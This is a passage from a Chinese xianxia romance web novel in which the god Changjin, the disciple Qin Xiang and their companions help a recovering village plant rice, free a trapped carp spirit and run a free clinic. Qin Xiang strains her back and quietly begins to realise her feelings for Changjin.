“爹爹?”秦湘转过脸来,将被风吹起的碎发掖在耳后,一双眼睛又明亮又好看,“不,就算爹爹知道了,他也不会说那种不准我养的话,更何况我又不养一大群,神君你说是吧?” 长锦想了想,点了点头,笑道:“嗯,说得也是。” 这一插曲过后,两人坐在田埂边上又聊了会儿天。没过多久,周楚闵便驾着牛车拉了满满一车的秧苗回来了,秦湘起身和他挥了挥手,又转身朝着长锦笑了笑打了个招呼,“好了,神君你再坐着休息一会儿吧,我要去忙去了。” 说完,便将扔在一旁的竹斗笠又捡起戴在头上,继续帮忙干活去了。 长锦呆呆地看了她一会儿,人群中,秦湘笑着走了过去,与周楚闵站在一起,不怕脏也不怕累,正一捆一捆地将牛车上的秧苗往另一块已经犁好的水田里送。 烈日当空下,她戴着斗笠,手上脸上还沾染了些泥,汗珠顺着她的额角滑落,淌到脖颈间。即使秦湘此时身着粗布麻衣,汗珠泥巴一身,狼狈至极,也不能掩盖她的半分绚烂明媚。长锦远远地望着,一时之间天地在他眼中没了半分色彩,他的眼底,只剩下她那忙碌的身影,还有那阳光下会发光的灿烂笑容。 “大哥哥……” 正愣愣地盯着,身旁却突然传来一道脆生生软弱弱的声音。长锦一惊,定了定神,这才收回了目光,转头朝着身旁看去,不知什么时候,他竟然也没发觉身边多了个人。 那是一个四五岁的孩童,虽然穿着一身粗布破旧的小衣衫,但也干净整洁,朴素得体。他扎着丫髻,蹲在长锦身旁,手指搅在一起,抬起眼怯生生又为难地看着他。 见长锦转头看向他了,小男孩一欣喜,嘴张了张,似乎想说些什么,但是还是顿了顿,低声道:“大哥哥,我……我想……” 长锦看着他这副模样,心中猜想这小孩儿可能是有事想和他说,又或是有事想求他帮忙,只是却又不知该如何开口才好。如今的他虽然也还没有完全习惯于与其他人单独相处,但比起之前见人就怕已经算是好了太多了,看着面前小男孩低头为难的模样,于是他主动道:“怎么了?你遇到什么事情想要我帮你吗?” 听到长锦的话,小男孩抬头看向他,眼中都带上了光彩,他惊喜道:“可以吗?大哥哥你真的可以帮我吗?” 长锦一愣,旋即点了点头,温声道:“你先说说看,只要我能帮得上你的。” “那大哥哥你先跟我来。” 小男孩不等长锦应答,便拉着他的手起身,将人带着往另一边走去。 长锦被他拉着沿着村子走了一圈,等到了目的地,看着面前的场景,长锦心下才有了些头绪,这小家伙要他帮的忙是什么。 在他们面前,是一条较为宽大的河流,云隐村邻山又邻水,之前闹过水祟,所以村里在这些河流边上也布置了一些腾岳之巅除祟时留下的捉妖符咒。而此时,他们面前的捉妖符已经被触发,一条人身鱼尾的小鲤鱼精正被符咒化成的金光锁链牢牢地禁锢在岸边,怎么挣扎都挣扎不开,反而越挣扎锁链挣扎地越紧。 看着那条鱼尾和那小鲤鱼精脸上被锁链灵力弄伤的血痕,小家伙一惊,连忙松开长锦的手跑上前去,试图安抚它:“你不要挣扎了,放松,放松下来,我听村长说过, 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长锦看向面前被锁在金色锁链网罩里的小鲤鱼精,不是个什么邪性的妖怪,无论是妖法还是妖龄在妖怪中都不算高,可能只是贪玩才会误触这捉妖符然后被禁锢在这,若是不救它,时间一长,光是被烈日一照都会脱水干涸而死。长锦一边想着,一边朝着它走了两步。而那小鲤鱼精虽然妖法不高,但也能感觉到面前的人灵力之强悍所产生的压力让它不得不生出恐惧,于是长锦才走了两步,它便又开始挣扎起来。 看着网中又开始剧烈挣扎的小鲤鱼精,小男孩也慌了,但这次无论他怎么安抚都没有用了,面前的小鲤鱼精还在不断挣扎着,甚至比之前挣扎地还要激烈,金光在两人眼前不停地闪过,随之而来的便是它身上那不断被锁链所反噬而出的血痕。 “大哥哥,大哥哥……”小男孩手脚无措,只能惊慌地看向长锦,“它怎么了?你快救救它。” 长锦伸出手指朝它轻轻一点,原本还在挣扎着的小鲤鱼精再一次安静了下来,他朝着它走了过去,蹲在这一人一妖面前,看着小鲤鱼精眼中的害怕,他顿了顿,手掌朝着那金色网罩微微一收,缚住它的那些锁链便化了为点点星光消失不见,而那小鲤鱼精也就此化为了原型。 小男孩圆滚滚的眼睛睁大了,愣了半晌,才朝着长锦道谢:“谢谢大哥哥!” 说完,又将一旁化为了原型的小鲤鱼精抱在了怀里,快步朝着河边走去,将它放进河水中,笑道:“好了,你走吧,回家吧,以后出来玩自己要小心点哦。” 一接触到河水,小鲤鱼的状态也恢复了大半,它在河中跃了两下,又朝着小男孩吐了两串泡泡,小男孩蹲在河边,看着面前在阳光下光彩四溢的泡泡,脸上也绽放出了一个大大的笑容。 送走了小鲤鱼精之后,长锦又陪着他在河边玩了一会儿,如此一来,打破了一开始的僵局,小男孩对长锦的陌生感也消失了大半,反而渐渐地熟稔起来。 从河边返回村子的一路上,小男孩的话就更多了,两人边走边聊,虽然大部分时间还是他在说,长锦在听。看着走在身旁的孩子,长锦顿了顿,最终还是问了句:“为什么想要救它?” “什么?”小男孩显然没有听明白他的话,一脸懵懵然地抬起脸望向他。 长锦也低头看向了他,轻声道:“那条小鲤鱼精,为什么想要救它?” “因为它很可怜啊,它受伤了。” “可是它是妖啊,”长锦停下了脚步,转身面向他,声音里听不出情绪,“云隐村不是遭受了水祟的袭击,所以才会变成这样的吗?你救的那条小鲤鱼精,也是妖,也是水祟,你为何还要救它?” 小男孩一愣,旋即笑道:“大哥哥,你问的问题好奇怪呀,我不是回答过你了吗?因为它受伤了,很可怜,正好我又看见了,所以我想救它。我知道,我们村子遭受过那些坏妖怪的袭击所以变成了现在这样,可是这又和这个小鲤鱼有什么关系呢?又不是它干的。” “万一你救了它,可日后有一天,它却像那些破坏了村子的水祟一样作恶多端,你还会想要救妖怪吗?” “会,”小男孩毫不犹豫地回答了他,“遇见一个坏妖,错付了一次善良,也仅仅只是一次而已,阿爹阿娘说过世界上的生灵千千万万,一个坏并不代表着所有坏,所以日后若是还会遇见这样的事情,我看见了,我还是会救的,我不相信,我遇见的就一定全部都是坏妖怪,一定会遇见好妖怪的。” 长锦顿了顿,他不知道自己到底在纠结些什么,于是他也不管不顾,继续钻着牛角尖不甘心地问:“如果要是遇不到呢?你救了很多很多的妖怪,但却发现它们全部都是坏妖怪,你所有的善意全部被辜负,就算这样,你也要继续救下去吗?” 小男孩也被他认真严肃的神情震得一愣,半晌,才不假思索地道:“就算是这样,我也会继续救下去。妖怪坏是妖怪坏,而我想要救它是我的事,怎么能因为外界因素就改变一开始的自己,难道就因为我遇见的都是不好的所以我也要变成不好的人吗?” 42.闪腰风波 这一刻,长锦醍醐灌顶,天地茫茫之间,好像有某一个答案从心底呼之欲出。 他茫然地眨了眨眼睛,面前的小男孩还在继续用他脆生生软乎乎的声音坚定地说着:“在这个世上,并不可能只会存在于坏的,也会有好的,而我选择成为一个好人,我就会一直做一个好人,不管外界是怎样,就算我付出的善意没有开出花结出果,那也可能只是我没有遇见而已,我没遇见,就并不代表它不存在。或许是我的时机不对,终有一天会遇见的。” 小男孩笑了笑,抬头看向他,虽然言语表达上还有些不通顺不连贯,但长锦却是听明白了他所说的意思。 他笑着,又拉住了长锦的手,道:“而且,我遇见了呀,我遇见了大哥哥,大哥哥帮我救了小鲤鱼,小鲤鱼也是个好妖怪,它还吐泡泡跟我道谢呢,我很开心。” “所以,大哥哥,你是个好人,”小男孩捏了捏他的手指,仰头道,“如果你帮了很多很多人,但是那些人要是对你不好的话,你也不要因为这样就灰心丧气,你要继续做一个好人,未来有一天,你一定也会遇见对你很好很好的人的,只是现在那个人还没来,你不要着急,再耐心等等吧,绝对不可以因为那些坏人然后就让自己也变成一个坏人,这样子是不对的。” 长锦怔怔地看了他一会儿,良久,才蹲下身来,蹲在他面前,与他齐平,温声应道:“嗯,我知道了。” 晌午时分,秦湘与周楚闵忙活了一大半天,终于插完了面前的两大块秧田。秦湘正准备直起身子,却腰酸背痛,眼前发黑,她缓了一缓,锤了锤腰背,才慢慢站直了。 正巧这时不远处的田垄之上,有农家小妹声音清脆,朝着田中劳作的人大声喊道:“吃饭啦。” 闻声,水田之中的人群放下了手中还未完的活,开始一个一个朝着田岸边上走去,周楚闵走到了秦湘身边,拍了拍她的肩膀,爽朗道:“走了走了,阿湘,吃饭去,吃饭去。” “好,我去叫上神君。”秦湘说着,侧身抬头朝着远处那棵李子树下望去,这一望,心却一抖,李子树下,哪里还有长锦的影子?! 是她叫着长锦来云隐村玩的,他本身就对这些地方不熟,这要丢了还得了?! 这一下,秦湘彻底慌了,关心则乱,所以在这心慌之下她竟一时也忘了长锦是神,再怎样也不会丢。她急急地转身朝着周楚闵道:“师兄,你先去吃饭吧,神君不见了,我去找一找他。” “嗯?”周楚闵眨了眨眼,还有些没反应过来,顿了顿,才道,“不见了?要我和你一起去找找吗?” “不用了不用了,我一个人去就可以了,应该不至于丢,师兄你先去吃饭吧。” “真的不用?” “真的不用。” “好吧,”见她如此,周楚闵也不好再坚持,“那我先走了,你有事就用传音术唤我。” “嗯嗯,好的,我知道了,师兄你就放心去吃饭吧。”送走了周楚闵,秦湘在田边掬了几捧清水草草地将手上脚上的泥巴洗净,才穿好鞋袜沿着田垄朝着村子里走去。 她不知道长锦去了哪里,所以只能沿路边看边找,看见有路过的村民,再顺带问上一嘴。 云隐村就这么大,秦湘将村子里里外外都找了两遍之后,都快有点找到崩溃的边缘了,真是奇了怪了,还能消失不见不成?她一边嘀咕着,一边深吸着一口气,准备去村外她没找过的那块种菜的田垄里去找找。 才刚走到云隐村村口,就迎面遇上了老村长,村长见她走得急,便开口唤住了她:“小仙君这么急匆匆地是要去哪里呀?怎么不去吃饭呀?是有什么东西落在水田里了吗?” 看见他,秦湘叹了口气,不抱希望地也顺便问了一嘴:“没有,村长你有没有看见和我们一起来的另一个人啊?就高高的,穿了一身素青色的衣袍,不大爱与旁人说话。” “啊,”村长想了想,“小仙君说的是上午坐在李子树下的那位仙君吧?我见过啊。” “嗯?”秦湘双眼简直瞬间就睁大了,她喜出望外道,“当真?村长你真的知道他在哪里呀?我正要去找他,村里村外找遍了都没看见他。” “喏,”村长侧了侧身子,手指了指不远处层层叠叠的田垄,“那位仙君在那里,沿着这条路直走出去,在那块插着竹竿子搭蔬菜架子的田垄里,我刚刚才去喊了他们回村吃饭呢。” 秦湘顺着村长指的方向看去,眯了眯眼,有着树木草丛的遮掩,只能看见两个模糊的身影在那里,瞧不大真切,她收回目光,又朝着村长道了谢,才向着那边疾走而去。 走近了,才瞧见那人正是长锦,旁边的田垄里散落着一捆一掐粗的竹竿子,而长锦正戴着一个斗笠,弯腰从地上捡过一根竹竿子插进面前的土地里。在他身旁,还站了个四五十来岁的农妇,那大娘一边给长锦递着绳子一边与他搭话,而且神奇的是,这次长锦脸上竟然没有半分不适应,他一边接过绳子将手中握着的两根竹竿捆在一起,一边与大娘说着话,期间好几次,还十分罕见地露出了笑容。 秦湘揉了揉眼睛,再三确定自己真的没看错之后,才走上前去,喊他:“神君。” 闻声,田间的两人齐刷刷地抬头,看见秦湘,长锦一愣,才笑道:“秦湘?你怎么来了?” “我和师兄忙完了,刚好又到吃饭时间了,我正准备去喊你,结果你却不见了,可害得我一顿好找。”秦湘三言两语说完,幽怨地向他投去了一眼,看着他手中的活,又道,“所以神君你这是在干什么呢?” 长锦将手中的绳子系紧,又拉了拉,见竹竿子竖立地牢稳了,才回道:“搭架子。” “???”秦湘没反应过来,“什么?搭什么?” 见状,一旁站着递绳子的大娘也笑着插话道:“哎哟,这位小仙君年纪这样小,不知道也是正常的啦。” 原来,那时候,长锦带着那个小男孩从河边回到村子里之后,是准备回李子树下继续等秦湘的,结果走到半路,却遇见了这农家大娘费力地背拖着一把竹竿子在田埂之上走着,摇摇晃晃地,仿佛风一吹就要倒,他一顿,连忙上去帮了一把手。 三四月正是种植黄瓜丝瓜苦瓜这些藤类蔬菜的季节,而种植这些具有攀爬能力的蔬菜就需要搭架子才行。上山砍竹竿,再背来田垄里,然后再一根一根搭架起来,本来这些力气活不应该由她们来干的,可是云隐村如今人手又不够,男人们一半去种田去了,一半又在修建村里被损坏的房屋。所以她们不能说完全不干,只能说是少干一点,一天干一点,能干一点是一点的干了。 “今天多亏是遇见这位仙君了,”大娘说着,一双眼睛眯起来,满脸都写着对长锦的满意,“我这把老骨头啊,也不中用了,拖着这把竹竿子,差点连人带杆一起翻进沟里去。” 闻言,秦湘心一惊,这竹竿子末端如此尖锐,要是连人带杆一起翻进沟里去还得了,看着面前脸上还挂着笑意,手上却老茧丛生的大娘,她不由得地一阵后怕,连忙将那个画面甩出脑袋,凑上去前,问道:“大娘,那你没事吧?可有哪里受了伤?” “没事没事,”大娘摆摆手,灿笑道,“我命硬着呢。” 秦湘也不知道该说什么好了,只能跟着打了两声哈哈,看着一旁忙活的长锦,一愣,又下意识地便觉得她都在这里了,怎么可以让神君来做这种粗活呢,于是连忙道:“神君,要不让我来做吧,你去一旁休息休息。” “没事,”长锦扎好手中的一根绳子,又准备弯腰捡起下一根竹竿,“反正剩的也不多了,你都在水田里面帮忙忙活了一上午了,你去休息休息吧。” “没事没事,我可以……”秦湘一边说着,一边就要弯腰抢先接过长锦手中的竹竿,可她的脑子说她可以,但是她的腰却用实际行动告诉她,她不可以。 只见秦湘去抢长锦手中的竹竿的动作一僵,那些未说完的话也被生生地堵在了喉咙里,她怔了一怔,僵硬地伸手缓缓扶住了自己的腰,却好半晌都没能直起来。 秦湘简直欲哭无泪了,她,堂堂腾岳之巅掌门之女,明萧长老座下最厉害的首席弟子,正值年轻力壮的大好年纪,可她竟然就这么水灵灵地……把腰闪了?!!! 这要说出去,不得笑掉人大牙?!!不说别的什么人,光是让乔玉洲和周楚闵知道了,估计都得笑她两个月!! 长锦本来正要将左手中拿着的竹竿换到右手边以防止秦湘的抢夺,可才换过去,却见面前的秦湘突然之间就没了下一步动作,不仅没了下一步动作,而且整个人还僵在了原地,手扶着腰,整张脸皱在了一起,神情痛苦。 长锦慌了,连忙扔了竹竿,伸手就要去扶住她,“秦湘,你怎么了?” “啊啊啊啊啊,神君,你轻点,轻点,疼疼疼疼疼,我腰,腰,”长锦不知道秦湘的腰闪了,只想着将她扶起来,却没想到这一动,差点让她疼得灵魂升天,连忙叫道,“我的腰……腰好像,闪了……” 听她这么嚎了一嗓子,又对上她疼得皱皱巴巴的一张脸,长锦更慌了。猛地收了扶住她的手,顿了一顿,又觉得不大对,应该要扶一扶,可看着她的脸,却又觉得还是不大对,所以手僵在半空中,一时是扶也不是吧,不扶也不是,手脚无措。 长锦不懂,但是站在一旁拿着绳子的大娘却很灵光,看 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看着她眼中的一点不甘心,长锦抬手就在她额头上弹了弹,道:“你还想着来呢,你都这样了就老老实实坐下休息吧,我一开始就说过我可以的,你不信我。” “不是,我哪里是不相信你,”闻言,秦湘急忙辩解道,“我只是觉得,你怎么可以做这些?” “你能做,为什么我就不能做?”长锦弯着腰,放低身子,与她齐平,看着她,认真道,“秦湘,你不是说过要让我换一种状态来好好感受人间吗?既然如此,我就和你是一样的,你为什么还会觉得只有你们能做这些,而我是不可以做这些的呢?” 呃……秦湘愣住了,好像他说得没毛病。是她让他当人,让他以人的身份来感受世间的,可她有时候却自己处处还将他当神的身份来看待,可是,也不对劲啊,就算是让他当人,以人的身份来行走世间,那也只是在有些方面啊,可本质上,他不还是神吗? 正欲再反驳,长锦却先她一步又按住了她,他看着她的眼睛,柔声道:“好了,既然我答应你了,你也要答应我,以后在这些事情上,不要再将我当神来看待了,我们都是一样的,知道了吗?” 扶着秦湘的大娘见状,再次插话笑道:“好了,这位小仙君就不要再逞强了,你的这位俊俏仙君一看就是担心你,你都这样了,就去一旁好好休息吧,等我老婆子来给你好好按一按。” 田野里很安静,只有风吹过树叶的声音。两人又互相盯了一会儿,半晌,秦湘还是先妥协了下来,闷闷道:“好吧,我知道了。” 见她松口,长锦也是笑了笑,揉了揉她的头站了起来,和大娘一左一右将人扶到了一边较高的田埂旁靠站着。 “你就先站在这里等我一下吧,等我弄完那些,就带你回去。” “好。” 当长锦背着一个动不了的秦湘回到云隐村,走到沈清桐和周楚闵面前时,两人俱是一惊,连忙迎了上去,周楚闵急道:“阿湘,你怎么了?” 沈清桐也急:“阿湘,你这是怎么了?哪里伤着了?” “清桐姐姐……”如果说那时候在长锦面前一切都好的秦湘,如今一看见沈清桐和周楚闵,就开始觉得自己哪哪都不好了,她从长锦背上慢慢地爬下,然后可怜巴巴地挪到沈清桐面前,眼泪汪汪地就往她怀里凑,“清桐姐姐,我,我把腰闪了,疼死了,好疼好疼……” “嗯?”沈清桐温柔怜惜地搂着她,“怎么好好地会把腰给闪了呢?” 一旁跟着一起回来的大娘笑着接话:“哎哟,这位小仙君太勤奋了,眼里全是活,上午在水田里忙活了一上午,刚才还要抢着帮忙搭架子,这不,一着急就闪了。” “哈哈哈哈哈哈哈。”听到这句话,周楚闵没忍住,噗地一下笑了,“阿湘,你怎么回事啊?是不是几天没练过剑,不行了啊,这就闪了,哈哈哈哈哈。” “师兄你好讨厌,练剑和插秧能一样吗?我都这样了你还要笑我,你一点都不心疼我。”看着周楚闵笑话她,秦湘连忙控诉道。控诉完了,周楚闵却还在笑,于是她便转头抬起脸抱着沈清桐告状哭诉道,“清桐姐姐,你看他,你快管管师兄,他笑话我,我都这样了他还笑话我。” “好好好,”沈清桐一边安抚着她,一边抬眼朝着周楚闵看过去,佯凶道,“不许笑了。” “对不起,对不起,我不笑了,不笑了。”周楚闵接收到了信号,连忙收住了笑,举手在嘴边做了个闭嘴的动作。 一物降一物,看着周楚闵的动作,躲在沈清桐怀中的秦湘抬起下巴趾高气扬地朝他哼了一声。 而另一旁收拾着斗笠的长锦看着面前日常这样的几人,也是无奈地摇了摇头。 43.夜间心事 秦湘闪了腰之后,下午的活就轮不到她来干了,长锦名正言顺地接手了她的位置,和周楚闵一道去水田里插秧去了。 说来也是真稀奇,一开始长锦说他会干这些活,秦湘也只是随口一听嗯嗯两声便过去了,因为在她的印象里,就算是在三千年前,他的身份也是城主之子,如此尊贵,又怎会这种田间的农活,可事实却证明这,一切都是她多想了,长锦会,不仅会,而且还很会。 “你这下可放心了?”沈清桐搀扶着走路都还有点扯着疼的秦湘走到田垄边,看着不远处水田里忙活着的几道身影,“席清长老说会就是真的会,你何时见他打过诳语?” “我以为,神君他只是这么随口一说的嘛,谁曾想,原来在三千年前就算是城主之子也要干这些活啊。”秦湘看着田间弯腰忙着劳作的那个身影,呆怔道。 “好了好了,看也看过了,就放心交给他们吧,我们走吧,你这个腰啊,还是好好躺着吧,等我晚点给你好好按按,晚上再冷敷一下。” “嗯,走吧走吧。”秦湘收回目光,一声叹息,两人便慢慢地又回了村里。 下午沈清桐就没什么太多的活要干了,准备晚饭也要到快酉时的时候才会开始,而中间这两个时辰她便在村里的晒谷场上搭了个简易的看诊台,为村里那些因为心疼银两而有些什么小毛病就宁愿这么拖着也不愿去看郎中的大爷大娘们看诊。 腾岳之巅的仙君在晒谷场给人看诊且分文不取的消息在云隐村里迅速传开了来,在看诊台刚搭建好没两柱香的时间,全村的大爷大娘们几乎就都从各个地方争先恐后地来到了这儿。 沈清桐看着面前围拢如潮水的一众村民,摆摆手微笑道:“不要挤,不要挤,一个一个来,就算今天没有看完我明天还是可以继续的,我不会落下你们每一个人的。” 她长得温柔随和,极具亲和力,听她这么一说,排在前头的几个村民也开始自发地为她维持起秩序来,“不要挤,不要挤,排队,排队。” 一个一个地传了下去,人群也变得有序起来,在义诊台面前排起了长队。看着面前井然有序的队伍,沈清桐顿了顿,从一旁拿过笔和纸,开始接诊起来。 秦湘在床上躺着休息了一个半时辰后,看着窗外血色的晚霞,她扶着腰慢慢地坐了起来,怔怔地发了会儿呆,感觉自己已经比中午的时候要好太多了,左右又没有看见沈清桐的身影,于是便摸着下了床走了出去。 一路边走边问,来到了村里的晒谷场上,看着坐在一方木桌前忙碌的沈清桐,她走过去,轻声喊她:“清桐姐姐……” 沈清桐正伏在桌上专心致志地写着医案,没注意到走过来的秦湘,她这一声喊,声音虽然轻,但却也给她吓得全身一抖,半晌,才抬起一双眼,惊讶道:“阿湘?你怎么来了?怎么不躺着。” “我没事了,也没那么严重,就那时候很疼,现在休息了这么久了,就不是很疼了,”秦湘边说着,边在她身边坐下了,“清桐姐姐你这还没有忙完吗?有什么我能做的吗?” “也没多少了,我自己来就行。” “好吧。”听着沈清桐这么说,秦湘也没办法了,只能安静老实地坐在她身边,神情恹恹。 看着秦湘垂下去的眼帘,沈清桐搁下笔,摸了摸她的头,柔声道,“好啦,知道你闲不住,如果你实在想帮我的话,”她说着,从一旁的木桌上拿过一本医案和一个收纳锦囊,放在她面前,“你就对照着这医案上的药方从锦囊里帮我把相应的草药拿出来吧。” “好。”听见沈清桐这么说,秦湘欢欢喜喜地应了。坐在那,开始对照着医案,对着锦囊念念叨叨,“炙甘草四钱,生姜三钱,桂枝三钱……” 等她念完,那锦囊抖了一抖,冰蓝色的光华从锦囊束口处缓缓飞出,光华落到桌面,最后光华散去,所念的那些药材也全部出现在了她面前,整整齐齐地堆在牛皮纸上。 “清桐姐姐,这草药是可以包在一起的吗?”秦湘指着面前的一堆药材。 “可以的,药方本来就是配好了的,”沈清桐偏头朝桌上看了一眼,温声道,“你就给它用那个纸包起来就行了。” “好的,我知道了。”得到了肯定的答案,秦湘就放心地将面前的药包了,然后对着一旁的医案记录,将药包递给对面坐着的一个村民,说道:“给你,这个以清酒七升,水八升,先煮八味,取三升,去滓,内胶烊消尽,温服一升,日三服。” 村民提过药包,温声朝着两人不断鞠躬道谢:“好的,好的,多谢两位仙君。” “不用客气,不用客气。”秦湘连忙摆手,送走了他之后,顿了顿,吸了一口气,又对照着沈清桐递过来的下一张药方开始拿药材打包发放。 一开始还有些不大熟练,包的药包总是歪歪扭扭的,随着包得越来越多,熟能生巧,秦湘便做得是越来越得心应手起来。人在忙碌专注一件事上,总是容易忽视掉一些外在的因素,所以在这不知不觉间,腰间的疼痛和流淌的时间都被她暂时地忽略了,一下午就这么悄然而过。 而入夜后,秦湘坐在床边,一个猛子站起身来,又扯到了她那闪了的腰,疼得她呲牙咧嘴好一番,她才猛然想起,哦,腰,她的腰,还负着伤呢。 她扶住床角,轻轻地锤了锤她那僵硬的腰,慢慢地直起身子。 看来还是不能太嚣张得意逞强,还是得找清桐姐姐看一看,按一按才行。 秦湘闷闷地想着,正准备出门看看沈清桐什么时候回来,就听到门扉被人轻轻叩响,长锦的声音在门外响起:“秦湘,你在吗?” “咚咚。”秦湘听见自己的心猛然地跳动了两下,心鼓如雷。她也不知道为何,明明上午他们才见过,可在这一瞬间,她竟生出了几分好久没见到他的赧然来。 脑中莫名其妙地,便突然回想起那时长锦背着她从田垄里回云隐村的画面。当时一切都是那么自然,他说背她,她便也没拒绝,直接就让他背了,可如今再回想起来,秦湘突然就觉得好像有点不大对劲了,她何时与长锦这么熟了,熟到明明这些事情怎么看都有几分僭越,但他们却丝毫没有注意到。 “秦湘。”门口的敲门声和长锦的声音还在继续,秦湘猛然回神,她在想些什么,晃了晃脑袋,将脑中的杂念压下,才哑声应道:“我在。” 她慢慢地走到了门前,拉开门,长锦正板板正正地站在她面前。 房间内的烛光映照在他脸上,在他周身都渡上了一层柔光,使得他脸上担忧的神情看上去就更加温柔了。秦湘只看了一眼,脑中所有被压下的杂念莫名其妙地便全涌上来了,在她心中如烟花般炸开一样。她的脸在瞬息之间就涨红了,她也不知道为何,这种感觉,简直要疯,她想哭,可欲哭无泪。 长锦自然是不知道秦湘此时这种复杂缠绕的心情,他看着她眼睛,轻声问道:“秦湘,你怎么了?可是身体还有哪里不舒服?” 他说着,就要上前来,秦湘被吓得猛地一后退,而后才反应过来自己的动作太过激了。她连忙摆手,头摇地像个拨浪鼓:“没事,没事,我很好,就是方才在发呆,所以才被吓了一下,我没事的,对了,神君你来找我有什么事吗?” 听她如此说,长锦才明了地点了点头,道:“也没有什么事,就是过来看看你,看看你的腰好些了没,还有午时那么疼吗?” 秦湘一顿,听到他关心自己,胸腔之中那股异样感更甚,于是她连忙挪开对上他的那双眼,打着哈哈笑了两声:“好多了,好多了,已经不疼了。” “好得这么快?”长锦倒是觉得很奇怪,“午时见你疼到都直不起来的样子。” “我真的好了。”秦湘几乎是着急地脱口而出的,她今晚上的心情着实有点不大合适看见长锦的样子,看见他,她就乱了,就慌了。看着长锦眼中的不相信,她也确实忽略了自己还没有好这件事,但此时她也没想这么多,只想着让他赶紧走,然后她好赶紧逃,于是她便准备朝他弯一弯腰动一动来表示自己已经好了这件事。 一下,又扭着了腰,酸痛感袭来,秦湘头皮发麻,但还是咬着牙装作没事人一样,在他面前从容地转了一圈,故作轻松道:“你看,我真的好了……” “……”长锦看着面前的秦湘,认真地盯了她好一会儿,才道,“秦湘,今晚的你真有点奇怪。” “……没有吧,神君你看错了吧?”秦湘心里一咯噔,连忙否认道。 “是吗?” “是的。”秦湘拍了拍他的肩膀,肯定道:“一定是下午插秧太累了,累着了,所以才会产生了错觉。” 闻言,长锦还是在纠结,皱着眉头疑惑道:“是这样的吗?” “是的是的,一定是这样的,”秦湘边说着,边将他调转了一个方向,拍了拍,“所以神君就早些回去休息吧,明日也还要劳作呢,哦,对了,晚上回去之后记得也要拿热水敷一敷,活动活动放松一下,不然明日也会疼的。” “那你真的没事了?”长锦被她推着走了两步,还是停下了脚步,转过身来再三确认道。 “真的没事了,本来也没有特别严重,一两天也就好了,”秦湘已经说习惯了,这些话张口就来,“神君你就不用担心我啦,而且还有清桐姐姐呢,等晚些了清桐姐姐再给我看一看,就好了。” “好吧,那我走了,你早些休息,好梦。” “嗯,神君也是,好梦。” 站在门口看着长锦离开,直到他的背影淹没在夜色里,她才呆愣愣地走进了房间,关上门,靠在门后,想着长锦的温柔,心中酥麻软化如水。 “咚咚咚。”不知过了多久,身后的门扉又被人敲响,这次是沈清桐,她站在门外,疑 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光是听沈清桐这么说着,秦湘都要冒烟了,她捂住脸,连忙打断道:“啊,清桐姐姐你不要说了,不许再说了。” “嗯?”沈清桐故意使坏,“不许说什么?” “清桐姐姐你变坏了,”秦湘真的没想到她温柔的清桐姐姐怎么就变得跟她的师兄一样坏了,顿时感觉天都要塌了。她偏头,嘟哝道,“你怎么可以和师兄一样,故意取笑我呢。” “好啦好啦,不笑了,不笑了,”看着她佯装受伤委屈巴巴的样子,沈清桐笑了笑,拉着她走到床边坐下,将手中拿着的冰袋搁在腿上,又伸手揉了揉她的腰,“你腰还很疼吗?我带了一些冰块过来,今晚上再冰敷一下,等下我帮你揉一揉,不是很严重的话,这两天应该就能好了。” 被沈清桐这么一揉,秦湘感觉自己今晚上遭了老罪的腰在此刻终于得到了舒缓。她枕着手臂趴在床上,由着沈清桐的手指在她腰际轻轻地按揉。 看着平趴着的秦湘,沈清桐轻声唤她:“阿湘。” 秦湘舒服得眯眼,声音也懒洋洋地:“嗯?怎么了?清桐姐姐?” “你喜欢席清长老是吗?” 沈清桐的声音轻柔,却在秦湘心中震起了一道炸雷,她顿了顿,扭头,佯装镇定地笑道:“清桐姐姐你为什么这么问?我喜欢神君这不是你们从小就知道的事情嘛。” “好了,阿湘,你知道我说的是哪种喜欢。”沈清桐看向她,目光明亮且认真,“腾岳之巅的弟子们之间都在流传,说你和席清长老整日呆在一起,席清长老对所有人都冷淡淡,唯独对你温柔地不像话,我本来还不相信的,可今日一见,传言也并非全是假。” “……”秦湘简直石化在了原地,这是从哪里流传出来的,为何她从来没有听到过。她想反驳沈清桐的话,却发现话到嘴边又什么也说不出来,只能喃喃道,“清桐姐姐……” “阿湘,你先听我说完。”沈清桐顿了顿,接着道,“我并不是觉得你不能喜欢席清长老,我只是担心你,他是神,有他的责任与使命,我只是怕你若是喜欢了他而没有结果会难过。不过从今晚来看,我觉得席清长老心中对你应该是特别的,这也让我心中的担忧少了一大半了。” 听着沈清桐的话,秦湘愣了好久,才坐起身来,抱住她拍了拍,柔声道:“我知道,清桐姐姐你是为我好,不过你放心吧,我觉得我对神君应该不是那种喜欢,而神君也不是喜欢我,只是我们习惯了这样相处,我想与他同行,而亲近他,他也许就是太久没有和人接触过,然后因为我对他好所以他才会对我好的。” 这话说出来,秦湘也好像给了自己一个答案似的,她在心底也这样告诉自己,没错,就是因为这样,所以他才会对她好,而她也只是一时还没习惯这些好的转变所以才会对他产生奇怪感。 闻言,沈清桐叹了口气,良久,才道:“阿湘你自己明白你自己的心就好。 “我明白的啦,清桐姐姐你就不用担心了,”秦湘看着她,“不说我和神君了,你和师兄十月就要成亲了,你开不开心?” “阿湘。” 秦湘哈哈大笑:“清桐姐姐,别害羞嘛,听说群英论剑大会上魁首的奖品中有几瓶珍品丹药,到时候看我拿下它给你当嫁妆。” “你呀,”沈清桐摸了摸她的头,“不可狂妄自大,魁首重要,你的安全更重要。” “嘿嘿,绝对不是狂妄,就算我不是魁首,魁首也一定是师兄。不管是谁得第一,那些丹药一定会到清桐姐姐手上的。清桐姐姐你不相信我们吗?” 看着秦湘眼中的光晕,沈清桐顿了顿,良久,才温柔地摸摸她的头,道:“我信。” “信就对了嘛,清桐姐姐你就好好等着就好啦。” “嗯,好。” 44.桃花酿酒 接下来的几天里,秦湘因为腰伤,去水田里插秧的这种重活长锦和周楚闵说什么都不让她再干了。风水轮流转,当初她用什么话堵的长锦,如今长锦便用同样的话来堵她,一言一语之中连着一环扣一环,让她无法反驳任何。 她摇着头笑着,心中纳闷自从来了云隐村之后,长锦确实变了好多,他能和人交流了,还会笑了,不会与之前那般像是与世隔绝一样地抗拒与人的接触了。她也说不上来是他是从什么时候开始变的,但是不管怎么说,这些变化终归都是好的,长锦是真的听进去了她的话。 不去插秧之后,秦湘就跟着沈清桐在村里帮忙看诊帮忙洗菜择菜,然后每天的某个时间段里还会跟着村里的大娘们去后山采摘桃花。 云隐村地理位置好,村子邻山,土壤肥沃,在后山也种植了漫山遍野的桃花树。而这些桃花树也是云隐村的主要生计来源之一。 